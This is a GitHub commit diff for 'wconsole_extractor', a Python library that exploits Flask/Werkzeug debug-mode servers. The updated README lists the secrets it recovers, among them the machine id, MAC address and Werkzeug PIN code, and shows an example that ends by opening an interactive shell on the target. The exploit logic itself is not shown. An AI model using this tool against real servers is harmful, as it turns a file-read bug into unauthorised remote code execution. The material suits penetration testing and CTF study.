Skip to content

Commit e666ae8

Browse files
committed
v1.0
1 parent 076c339 commit e666ae8

File tree

3 files changed

+71
-10
lines changed

3 files changed

+71
-10
lines changed

README.md

Lines changed: 68 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
<h1 align="center">Welcome to WConsole Extractor 👋</h1>
2-
<p>
2+
<p align="center">
33
<img alt="Version" src="https://img.shields.io/badge/version-1.0.0-blue.svg?cacheSeconds=2592000" />
44
<a href="https://github.com/Ruulian/wconsole_extractor/blob/main/LICENSE" target="_blank">
55
<img alt="License: MIT" src="https://img.shields.io/badge/License-MIT-yellow.svg" />
@@ -9,39 +9,97 @@
99
</a>
1010
</p>
1111

12-
> Wconsole Extractor is a library which allows to automatically exploit a flask debug mode server. You just need to write a file leak function, pass it to the class ``WConsoleExtractor`` constructor and you can access to all the elements related to the debug mode.
12+
> Wconsole Extractor is a library which allows to automatically exploit a flask debug mode server. You just need to write a file leak function, pass it to the class ``WConsoleExtractor`` constructor and you can access to all the elements related to the debug mode. Moreover, you can call the `shell` function to obtain an interactive shell.
1313
14-
### 🏠 [Homepage](https://github.com/Ruulian/wconsole_extractor)
14+
## 🔨 Install
1515

16-
## Install
16+
### From PyPi
17+
18+
**Global installation**:
19+
20+
```sh
21+
pip3 install wconsole-extractor
22+
```
23+
24+
**Python virtual environment**:
25+
26+
```sh
27+
python3 -m venv env
28+
source env/bin/activate
29+
pip3 install wconsole-extractor
30+
31+
# Deactivate environment
32+
deactivate
33+
```
34+
35+
### Installation from repository
36+
37+
**Global installation**:
1738

1839
```sh
1940
git clone https://github.com/Ruulian/wconsole_extractor.git
2041
cd wconsole_extractor
2142
pip3 install .
2243
```
2344

24-
### Python virtual environment
45+
**Python virtual environment**:
2546

2647
```sh
2748
git clone https://github.com/Ruulian/wconsole_extractor.git
2849
cd wconsole_extractor
2950
python3 -m venv env
3051
source env/bin/activate
3152
pip3 install .
53+
54+
# Deactivate environment
55+
deactivate
3256
```
3357

34-
## Usage
58+
## 📚 Documentation
3559

3660
**Note**: The target operating system must be a Linux distribution.
3761

38-
### Leak function
62+
### Prerequisites
3963

4064
In order to use correctly the library, you need to have an arbitrary file read on the target and implement it in python.
4165

4266
You must write a function that takes a filename as parameter and returns the content of the file on the target. If the file is not found, the function should return an **empty string**.
4367

44-
### ✨ Demo
68+
### Available attributes
69+
70+
From `WconsoleExtractor` instance, you can access mutiple attributes:
71+
72+
```py
73+
# Target information
74+
extractor.target # Specified target
75+
extractor.base_url # Target base url
76+
extractor.hostname # hostname
77+
78+
# Versions
79+
extractor.python_version # Python version
80+
extractor.werkzeug_version # Werkzeug version
81+
82+
# Probably public bits
83+
extractor.username # User who launched the application
84+
extractor.flask_path # Flask installation path
85+
extractor.modname # Constant "flask.app"
86+
extractor.class_name # Constant "Flask"
87+
extractor.probably_public_bits # Probably public bits [username, modname, class_name, flask_path]
88+
89+
# Private bits
90+
extractor.machine_id # Machine id
91+
extractor.uuidnode # MAC address in decimal
92+
extractor.private_bits # private bits
93+
94+
# Post process information
95+
extractor.pin_code # Werkzeug PIN CODE
96+
extractor.token # Werkzeug console token (available in HTML source code)
97+
98+
# Functions
99+
extractor.shell() # Get interactive shell
100+
```
101+
102+
### Example
45103

46104
```py
47105
from wconsole_extractor import WConsoleExtractor, info
@@ -64,6 +122,8 @@ info(f"PIN CODE: {extractor.pin_code}")
64122
extractor.shell()
65123
```
66124

125+
## ✨ Demo
126+
67127
![example_gif](.github/example.gif)
68128

69129
## Author

setup.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import setuptools
22

3-
long_description = "WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :)"
3+
with open("README.md") as f:
4+
long_description = f.read()
45

56

67
with open('requirements.txt') as f:

wconsole_extractor/main.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ def __init__(self, target:str, leak_function) -> None:
6868
self.flask_path = self.get_flask_path(WConsoleExtractor.get_venv(environ))
6969

7070
if not self.flask_path:
71-
error("Unable to find flask package name")
71+
error("Unable to find flask package name, please report it (https://github.com/Ruulian/wconsole_extractor/issues)")
7272

7373
self.probably_public_bits = [
7474
self.username,

0 commit comments

Comments
 (0)